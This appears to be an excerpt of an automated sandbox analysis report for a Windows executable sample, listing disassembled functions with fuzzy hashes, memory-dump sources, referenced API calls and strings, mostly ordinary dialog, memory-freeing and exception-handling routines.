Opcode Fuzzy Hash: edb626a2c553d05657fd421bd2057d28a73b96dff38c9fd26bd9b556afcd0859
Instruction Fuzzy Hash: DEE144755083948FC314CF29D88086ABFF0AF9E300F49099EF9D497352D635EA59DBA2

Function 00B94088 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction ID: 107e9c8534a7f6c7dacf0f88da3d047f701d5b416f00139c5c8cf51ea9b1b865
Opcode Fuzzy Hash: 099330c7f7ccdd417e25f555c4bfc52021962f4fe602807f6dd12a6fe714b0d5
Instruction Fuzzy Hash: 849144B02143499BDF28EF74D891FBA77D5EBA0300F1009BDE59687282EB749946C762

Function 00B943BF Relevance: .2, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction ID: 3a6789debb338236cf951a64f6b87c1f525672977e156f3ac373b5d8ae5d9562
Opcode Fuzzy Hash: 24399a2ad99dde1ffdfe4095f328d7bde986876a5c10afdb0a2a788d37c48f2a
Instruction Fuzzy Hash: 288108B13043465BEF24DE68C8D1FBD77D4EBA5304F0049BDE9868B382DB648986C752

Function 00BA51C9 Relevance: .2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cd9999319ad2183ac3688e75921895e446d2c4c11b93beef349bccb2b7e4ada
Instruction ID: b9493f6244310761f6c501d8b50720f1f1188095dfd63108aab734a7e04e8a7a
Opcode Fuzzy Hash: 3cd9999319ad2183ac3688e75921895e446d2c4c11b93beef349bccb2b7e4ada
Instruction Fuzzy Hash: D2619C7160CF0867DE389A68A8D57BE63D4EF83340F1405DAE583DF282D6A1DF468719

Function 00BA4F9A Relevance: .2, Instructions: 214COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction ID: 0c060fc7d0478bba95f24232a02820e362a797c65af5634d7c299e018f1216b1
Opcode Fuzzy Hash: b9fa34869b2d82e3d8411e2c45cb22e435dbce3bfada8ed8319a2114c0e74f89
Instruction Fuzzy Hash: EA51587160CF446BDF344A688996BBF63D9DB53300F1808DAE887DB282D656EF45C3A1

Function 00B8EFE2 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d495a1bf34e2dc33e6feee9a998d7c7ad9b0b9a74438ad05fa6d9504b20c2b3
Instruction ID: bc538304ee6fe0c77365ccf82a8efd13def5dd24660f0952e22a011f7c4cd9f5
Opcode Fuzzy Hash: 2d495a1bf34e2dc33e6feee9a998d7c7ad9b0b9a74438ad05fa6d9504b20c2b3
Instruction Fuzzy Hash: C251C7355093D68FC711EF28C1444BEBFE0AE9A314F4909EDE4D95B253D221DA4ACB62

Function 00B900B7 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17f0824a8f84f2fbffda54a639fa47f5bb4c749ff3580f8d4fcff444817f604f
Instruction ID: b50b50c2e8caf3836a66043c4659671573f25b1b52f3c3c5d6c20fd690d3ef03
Opcode Fuzzy Hash: 17f0824a8f84f2fbffda54a639fa47f5bb4c749ff3580f8d4fcff444817f604f
Instruction Fuzzy Hash: E951DFB1A087159FC748CF19D88055AF7E1FF88314F058A2EE899E3340D734EA59CB9A

Function 00B93E0B Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction ID: c3ac5fb68c87017ee14f406376340679f22823858df4262c3bcf62de63ac2b13
Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
Instruction Fuzzy Hash: 2D31E7B1A147468FCB14EF28C89126ABBE0FB95704F14456DE495C7741C735EA0ACB92

Function 00B8E2E8 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B8E30E

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

Part of subcall function 00B91DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00BC1030,00000200,00B8D928,00000000,?,00000050,00BC1030), ref: 00B91DC4

_strlen.LIBCMT ref: 00B8E32F
SetDlgItemTextW.USER32(?,00BBE274,?), ref: 00B8E38F
GetWindowRect.USER32(?,?), ref: 00B8E3C9
GetClientRect.USER32(?,?), ref: 00B8E3D5
GetWindowLongW.USER32(?,000000F0), ref: 00B8E475
GetWindowRect.USER32(?,?), ref: 00B8E4A2
SetWindowTextW.USER32(?,?), ref: 00B8E4DB
GetSystemMetrics.USER32(00000008), ref: 00B8E4E3
GetWindow.USER32(?,00000005), ref: 00B8E4EE
GetWindowRect.USER32(00000000,?), ref: 00B8E51B
GetWindow.USER32(00000000,00000002), ref: 00B8E58D

Strings

CAPTION, xrefs: 00B8E4BD
$%s:, xrefs: 00B8E302
d, xrefs: 00B8E3F5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 95da716acb25d211dfb0010f856ba3c30de88cf5368e0757b735e7c36809e463
Instruction ID: 232d7f5dde22331c82ef07dcbad4a7de22dd380cb904dbee5f2be3dec6c4c4ea
Opcode Fuzzy Hash: 95da716acb25d211dfb0010f856ba3c30de88cf5368e0757b735e7c36809e463
Instruction Fuzzy Hash: 26819271108341AFD710EF68CD89A6FBBE9EB89704F04095DF995E7260D670E905CB52

Function 00BACB22 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00BACB66

Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC71E
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC730
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC742
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC754
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC766
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC778
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC78A
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC79C
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC7AE
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC7C0
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC7D2
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC7E4
Part of subcall function 00BAC701: _free.LIBCMT ref: 00BAC7F6

_free.LIBCMT ref: 00BACB5B

Part of subcall function 00BA8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34), ref: 00BA8DE2
Part of subcall function 00BA8DCC: GetLastError.KERNEL32(00BB3A34,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34,00BB3A34), ref: 00BA8DF4

_free.LIBCMT ref: 00BACB7D
_free.LIBCMT ref: 00BACB92
_free.LIBCMT ref: 00BACB9D
_free.LIBCMT ref: 00BACBBF
_free.LIBCMT ref: 00BACBD2
_free.LIBCMT ref: 00BACBE0
_free.LIBCMT ref: 00BACBEB
_free.LIBCMT ref: 00BACC23
_free.LIBCMT ref: 00BACC2A
_free.LIBCMT ref: 00BACC47
_free.LIBCMT ref: 00BACC5F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: b40d1ee7e472aa623f1eefd22b48ac691be7ec088e7e2d211d2ae2b051c36b34
Instruction ID: 87f4a10e65453ad3a68f7ef6427b160b1b1174be46493882e88b8a94af42dafa
Opcode Fuzzy Hash: b40d1ee7e472aa623f1eefd22b48ac691be7ec088e7e2d211d2ae2b051c36b34
Instruction Fuzzy Hash: 653173716083099FEB20AA38D846B5ABBE9EF12320F5054ADF198D7591DF31EC40CB60

Function 00B99711 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B99736
_wcslen.LIBCMT ref: 00B997D6
GlobalAlloc.KERNEL32(00000040,?), ref: 00B997E5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00B99806
CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00B9982D

Strings

<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00B99760
<html>, xrefs: 00B99755, 00B9978E
utf-8"></head>, xrefs: 00B9976B
</html>, xrefs: 00B997B7

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Global_wcslen$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1777411235-4209811716
Opcode ID: 6a955d84e111263093c153d92ab96bd200e82a9382909d030075c4581814882b
Instruction ID: 97beecd487806f0f5bf696b60986f4ae4903d68e32a7c29053fef71e5f1e5dd8
Opcode Fuzzy Hash: 6a955d84e111263093c153d92ab96bd200e82a9382909d030075c4581814882b
Instruction Fuzzy Hash: E431253250C7017BEB25AF689C86FAB77DCEF52750F1401EEF501961D2EFA49A0483A6

Function 00B9D69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00B9D6C1
GetClassNameW.USER32(00000000,?,00000800), ref: 00B9D6ED

Part of subcall function 00B91FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,00B8C116,00000000,.exe,?,?,00000800,?,?,?,00B98E3C), ref: 00B91FD1

GetWindowLongW.USER32(00000000,000000F0), ref: 00B9D709
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00B9D720
GetObjectW.GDI32(00000000,00000018,?), ref: 00B9D734
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00B9D75D
DeleteObject.GDI32(00000000), ref: 00B9D764
GetWindow.USER32(00000000,00000002), ref: 00B9D76D

Strings

STATIC, xrefs: 00B9D6F3

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: c29b4dd8b872d29b6135176b4a3cec6bb7ff495803de4e894c7213472f4fd612
Instruction ID: 3a116713cb1312014ca3856b142e9e22e1acff6b828f3d377ac7f43f54ffaaa3
Opcode Fuzzy Hash: c29b4dd8b872d29b6135176b4a3cec6bb7ff495803de4e894c7213472f4fd612
Instruction Fuzzy Hash: 7211E4722403507BEA216BB19C8EFAF76DCEB54B51F014170FA51BB092DA68CE0546B6

Function 00BA96F1 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BA9705

Part of subcall function 00BA8DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34), ref: 00BA8DE2
Part of subcall function 00BA8DCC: GetLastError.KERNEL32(00BB3A34,?,00BAC896,00BB3A34,00000000,00BB3A34,00000000,?,00BAC8BD,00BB3A34,00000007,00BB3A34,?,00BACCBA,00BB3A34,00BB3A34), ref: 00BA8DF4

_free.LIBCMT ref: 00BA9711
_free.LIBCMT ref: 00BA971C
_free.LIBCMT ref: 00BA9727
_free.LIBCMT ref: 00BA9732
_free.LIBCMT ref: 00BA973D
_free.LIBCMT ref: 00BA9748
_free.LIBCMT ref: 00BA9753
_free.LIBCMT ref: 00BA975E
_free.LIBCMT ref: 00BA976C

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d2fd74d7e65d1c9a68f603b8135f3fc0bcadf72b8e7e24dfea5794cd4258c716
Instruction ID: 36b88528f251bfb858e9830a7cfe88cbcd80dd4f7700e29fe129c347ea09dc8f
Opcode Fuzzy Hash: d2fd74d7e65d1c9a68f603b8135f3fc0bcadf72b8e7e24dfea5794cd4258c716
Instruction Fuzzy Hash: 0D11B3B6514109BFCB01EFA4C882CDD3BB5EF15350B5154E9FA488F662DE32EE509B84

Function 00BA2E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00BA2F50
___TypeMatch.LIBVCRUNTIME ref: 00BA305E
_UnwindNestedFrames.LIBCMT ref: 00BA31B0
CallUnexpected.LIBVCRUNTIME ref: 00BA31CB
_abort.LIBCMT ref: 00BA31D0

Strings

csm, xrefs: 00BA2F87
csm, xrefs: 00BA2EDB
csm, xrefs: 00BA2E6E

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 95c817a2d1ab0cd18f8789394a96481dffb6b9072c14f8069142f82f56710a9b
Instruction ID: 2e869fe1841e04cd84bce1b1e990aaba458f66ac09cfc81c4f598a8c9d72bb94
Opcode Fuzzy Hash: 95c817a2d1ab0cd18f8789394a96481dffb6b9072c14f8069142f82f56710a9b
Instruction Fuzzy Hash: C7B17771808209EFCF29DFA8C8819AEBBF5FF16710F14419AF8016B212D735EA51CB91

Function 00B86FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B86FAA
_wcslen.LIBCMT ref: 00B87013
_wcslen.LIBCMT ref: 00B87084

Part of subcall function 00B87A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00B87AAB
Part of subcall function 00B87A9C: GetLastError.KERNEL32 ref: 00B87AF1
Part of subcall function 00B87A9C: CloseHandle.KERNEL32(?), ref: 00B87B00

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00B86FCC
SeRestorePrivilege, xrefs: 00B86FC2
\??\, xrefs: 00B8702B
UNC\, xrefs: 00B87051

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3122303884-3508440684
Opcode ID: 68afc31daafca0722f190302f5b99810fa2ffa455afbe8dc68f91a96ac0cc3b3
Instruction ID: 8e12d830d372f0b175453d7f4388b34a5c0ef9715cbe1c3249722b02356f97ca
Opcode Fuzzy Hash: 68afc31daafca0722f190302f5b99810fa2ffa455afbe8dc68f91a96ac0cc3b3
Instruction Fuzzy Hash: F341D4B1D48344AAEB20FB749C86FEE77EC9F05308F1044D5FA55A61A2DA70EA84C721

Function 00B9B5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B81316: GetDlgItem.USER32(00000000,00003021), ref: 00B8135A
Part of subcall function 00B81316: SetWindowTextW.USER32(00000000,00BB35F4), ref: 00B81370

EndDialog.USER32(?,00000001), ref: 00B9B610
SendMessageW.USER32(?,00000080,00000001,?), ref: 00B9B637
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00B9B650
SetWindowTextW.USER32(?,?), ref: 00B9B661
GetDlgItem.USER32(?,00000065), ref: 00B9B66A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00B9B67E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00B9B694

Strings

LICENSEDLG, xrefs: 00B9B5D4

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: 2d2606d8bd8e0b924083a48e0cda1ebf1b1fef99c1ab1ac9eb7d9127e141e689
Instruction ID: d6c82eb719edd3eb65f387351265372e119e590dcefaaf4905d405f97d009955
Opcode Fuzzy Hash: 2d2606d8bd8e0b924083a48e0cda1ebf1b1fef99c1ab1ac9eb7d9127e141e689
Instruction Fuzzy Hash: F121E732204205BBDA115F66FD8DF3BBBEDEB4AF41F054069F601A70A1DF52A901D631

Function 00B9FD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

